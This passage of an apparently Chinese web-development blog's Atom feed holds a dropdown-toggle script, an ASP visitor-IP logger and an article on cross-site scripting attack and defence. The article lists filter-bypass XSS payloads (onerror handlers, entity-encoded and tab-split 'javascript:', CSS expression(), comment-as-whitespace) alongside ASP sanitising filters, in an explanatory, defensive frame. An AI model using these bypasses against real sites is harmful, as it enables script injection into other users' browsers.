		  <summary type="html"><![CDATA[其实文不对题，但今天上午为了解决网页上下拉菜单穿过弹出层的问题费了不少周折，最后锁定这个函数有效，在弹出层后，用下面的函数来隐藏下拉菜单，取得较好的效果。<br/>记录于此，免以后用到。<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.xqasp.cn/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent"><br/>function hiddtips(divid){<br/>&nbsp;&nbsp;if(document.getElementById(divid).style.display==&#34;none&#34;){<br/>&nbsp;&nbsp;&nbsp;&nbsp;document.getElementById(divid).style.display=&#34;&#34;;<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;else{<br/>&nbsp;&nbsp;&nbsp;&nbsp;document.getElementById(divid).style.display=&#34;none&#34;;<br/>&nbsp;&nbsp;}<br/>}<br/></div></div>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.xqasp.cn/article.asp?id=431" /> 
	  <id>http://www.xqasp.cn/default.asp?id=431</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[也谈跨站脚本攻击与防御]]></title>
	  <author>
		 <name>jiaming</name>
		 <uri>http://www.xqasp.cn/</uri>
		 <email>isolitary@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.xqasp.cn/default.asp?cateID=4" label="建站技巧" /> 
	  <updated>2010-01-19T10:21:50+08:00</updated>
	  <published>2010-01-19T10:21:50+08:00</published>
		  <summary type="html"><![CDATA[网络上曾经有过关于跨站脚本攻击与防御的文章，但是随着攻击技术的进步，以前的关于跨站脚本攻击的看法与理论已经不能满足现在的攻击与防御的需要了，而且由于这种对于跨站脚本认识上的混乱，导致现在很多的程序包括现在的动网都存在着跨站脚本过滤不严的问题，希望本文能给写程序的与研究程序的带来一点思路。<br/>&nbsp;&nbsp;&nbsp;&nbsp;还是首先看看跨站脚本漏洞的成因，所谓跨站脚本漏洞其实就是Html的注入问题，恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户，导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码，数据流程如下：<br/><br/><br/>恶意用户的Html输入————&gt;web程序————&gt;进入数据库————&gt;web程序————&gt;用户浏览器<br/><br/>这样我们就可以清楚的看到Html代码是如何进入受害者浏览器的了，我们也就可以根据这个流程来讨论跨站脚本的攻击与防御了！<br/>&nbsp;&nbsp;&nbsp;&nbsp;1 什么是HTml输入？<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;这里给出一个HTml代码的示例<br/><br/>&lt;img src=&#34;<a href="http://www.loveshell.jpg" target="_blank" rel="external">http://www.loveshell.jpg</a>&#34; width=100 onerror=alert(&#34;载入图片错误!&#34;)&gt;<br/><br/>很多的程序最终都是将用户的输入转换成这种形式的。可以看到&lt;&gt;是告诉浏览器这是一个Html标记，img是这个Html标记的名称，src是这个标记的第一个属性，=后面是这个属性的值，后面的width是第二个属性，onerror是标记的事件属性。大家可以看到，一个Html标记是包括很多元素的，并不是传统意义上的只有输入&lt;&gt;才会注入Html，事实上只要你的输入处在Html标签内，产生了新的元素或者属性，就实现了跨站脚本攻击！实际上大多数隐秘的跨站脚本攻击是不需要&lt;&gt;的，因为现在的Ubb标签已经让你处在了Html标记之内，很有意思，不是么？<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;2 哪里才是罪恶的来源？<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;既然我们的目标是引入代码在目标用户的浏览器内执行，那么我们来看看哪些地方可以引入HTml代码吧！如果用户可以不受限制的引入&lt;&gt;，那么很显然他可以完全操纵一个Html标记，譬如&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;这样的形式，这对于追求安全的程序来说是绝对不允许的，所以首先要做转换的就是&lt;&gt;，通过如下代码：<br/><br/>过滤代码：<br/>replace(str,&#34;&lt;&#34;,&#34;&amp;#x3C;&#34;)<br/>replace(str,&#34;&gt;&#34;,&#34;&amp;#x3E;&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;好了，用户可能不能构造自己的HTml标记了，那么利用已经存在的属性如何呢？下面的代码依然可以工作得很好：<br/><br/>&lt;img src=&#34;javascript:alert(/xss/)&#34; width=100&gt;<br/><br/>因为很多的Html标记里属性都支持javascript:[code]的形式，很好，很多的程序意识到了这一点，可能做了如下的转换：<br/><br/>过滤代码<br/>Dim re<br/>&nbsp;&nbsp;&nbsp;&nbsp;Set re=new RegExp<br/>&nbsp;&nbsp;&nbsp;&nbsp;re.IgnoreCase =True<br/>&nbsp;&nbsp;&nbsp;&nbsp;re.Global=True<br/>re.Pattern=&#34;javascript:&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Str = re.replace(Str,&#34;javascript：&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;re.Pattern=&#34;jscript:&#34;<br/>&nbsp;&nbsp; Str = re.replace(Str,&#34;jscript：&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;re.Pattern=&#34;vbscript:&#34;<br/>&nbsp;&nbsp; Str = re.replace(Str,&#34;vbscript：&#34;)<br/>set re=nothing<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>你看，只要发现以javascript等脚本属性的形式都会被过滤掉，失去了:的脚本代码是起不了作用的！这样完美了么？事实上Html属性的值，注意是值而不是属性本身是支持&amp;#ASCii这种形式表示的，譬如上面的代码可以换成这样：<br/><br/>&lt;img src=&#34;javascrip&amp;#116&amp;#58alert(/xss/)&#34; width=100&gt;<br/><br/>代码又执行了，呵呵！看来你漏掉了点什么哦，加上这个代码吧！<br/><br/>replace(str,&#34;&amp;&#34;,&#34;&amp;#x26;&#34;)<br/><br/>行了，&amp;失去它原来的意义了，用户不能以其他方式表示Html属性值了哦！等等，这样的过滤真可以相信么？只要发现这种过滤的关键字机制，饶过就是简单的问题了：<br/><br/>&lt;img src=&#34;javas&nbsp;&nbsp;&nbsp;&nbsp;cript:alert(/xss/)&#34; width=100&gt;<br/><br/>没有javascript关键字了哦！注意中间那个是tab键弄出来的！关键字被拆分了哦！这是个很麻烦的问题，很多人忘记了这些特殊的字符，呵呵！有人想到要过滤空格了，在过滤之前我们再看看其他的一些东西吧！也许我们现在所处的src属性已经无法利用了，但是我们依然可以产生自己的属性或者事件机制哦！依然是可以执行Html代码的，首先说说事件机制吧：<br/><br/>&lt;img src=&#34;#&#34; onerror=alert(/xss/)&gt;<br/><br/>这样依然可以执行代码的哦！明白问题出在哪了，不是么？有的程序员仿佛明白了，注意我说的是仿佛，动网就是一个典型的例子，事件属性不是要onerror么？很多人开始用正则表达式了，发现关键的词如onerror就会做转换或者提示用户不执行，是不是没有机会了呢？<br/>&nbsp;&nbsp;&nbsp;&nbsp;当然不是的，事件只是让代码运行的一种方法而不是所有的，可以定义事件了那么也就可以实现自己弄出自己的属性了，试试下面的：<br/><br/>&lt;img src=&#34;#&#34; style=&#34;Xss:e&#173;xpression(alert(/xss/));&#34;&gt;<br/><br/>呵呵，还是执行了哦！在做关键字过滤之后有人发现是不是属性之间分隔要用到空格，好，他们把空格堵死了（这样认为的人很多，呵呵）！将空格转成&amp;nbsp;是个很普遍的方法？是么？甚至还可以让别人无法关键字拆分，不要太自信了，试试下面的代码看看如何：<br/><br/>&lt;img src=&#34;#&#34;/**/onerror=alert(/xss/) width=100&gt;<br/><br/>嘿嘿，Good Work!这好象是利用了脚本里注释会被当作一个空白来表示造成的！那怎么办呢？上面提到的好象一直都是在进行被动的攻击防御，为什么不抓住他的本源出来呢？哪里出了问题哪里堵上！<br/>&nbsp;&nbsp;&nbsp;&nbsp;上面的问题好象本质上就是一个东西，那就是用户超越了他所处的标签，也就是数据和代码的混淆，对付这种混淆的办法就是限制监牢，让用户在一个安全的空间内活动，这通过上面的分析大家也可能已经知道，只要在过滤了&lt;&gt;这两个人人都会去杀的字符之后就可以把用户的输入在输出的时候放到&#34;&#34;之间，现在的一般的程序都是这样做的，譬如<img src="http://www.loveshell.net" border="0" alt=""/>将会转化成&lt;img src=&#34;<a href="http://www.loveshell.net" target="_blank" rel="external">http://www.loveshell.net</a>&#34;&gt;这是个好的安全习惯，然后呢？就要让用户的输入处在安全的领域里了，这可以通过过滤用户输入里&#34;&#34;实现，但是不要忘记了，这个标签本身也是不安全的，过滤掉空格和tab键就不用担心关键字被拆分饶过了，然后就是用文章中提到的办法过滤掉script关键字，最后就是防止用户通过&amp;#这样的形式饶过检查，转换掉&amp;吧！<br/>&nbsp;&nbsp;&nbsp;&nbsp;在文章中开始提到的图里可以看到，数据的转换和过滤是可以在3个地方进行转换的，在接受数据的时候可以转换下，在进入数据库的时候可以转换下，在输出数据的时候也可以转换下，但是困惑在哪里呢？不得不面对一个问题就是许多时候程序员舍不得为安全做出那么大的应用上的牺牲，安全是要有代价的，譬如现在邮箱的就不愿意舍弃html标签，所以他们侧重于XSS的IDS检测的性质，只要发现不安全的东西就会转化，但是攻击是无法预知的，漂亮的东西总是脆弱的，有限制，肯定就有人会饶过，呵呵。本文没什么技术含量，只是希望搞安全的脚本人员能更加的了解Xss，跨站，不是那么简单滴！ ]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.xqasp.cn/article.asp?id=429" /> 
	  <id>http://www.xqasp.cn/default.asp?id=429</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[asp获取客户的IP和访问时间，并生成txt文件]]></title>
	  <author>
		 <name>jiaming</name>
		 <uri>http://www.xqasp.cn/</uri>
		 <email>isolitary@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.xqasp.cn/default.asp?cateID=4" label="建站技巧" /> 
	  <updated>2009-09-24T10:10:23+08:00</updated>
	  <published>2009-09-24T10:10:23+08:00</published>
		  <summary type="html"><![CDATA[&lt;% &#39;获取客户的IP和访问时间<br/>dim t,d,str<br/>t=time()<br/>d=date()<br/>str=d&amp;&#34; &#34;&amp;t<br/>set myfileobject=server.Cr&#101;ateObject(&#34;scripting.filesystemobject&#34;)<br/>set appnedtextfile=myfileobject.opentextfile(server.MapPath(&#34;getIP.txt&#34;),8,true)<br/>appnedtextfile.writeline(&#34;IP:&#34;&amp;request.ServerVariables(&#34;remote_host&#34;)&amp;&#34; 访问时间: &#34;&amp;str)<br/>appnedtextfile.close<br/>%&gt;&nbsp;&nbsp;]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.xqasp.cn/article.asp?id=422" /> 
	  <id>http://www.xqasp.cn/default.asp?id=422</id>
  </entry>	
		
</feed>
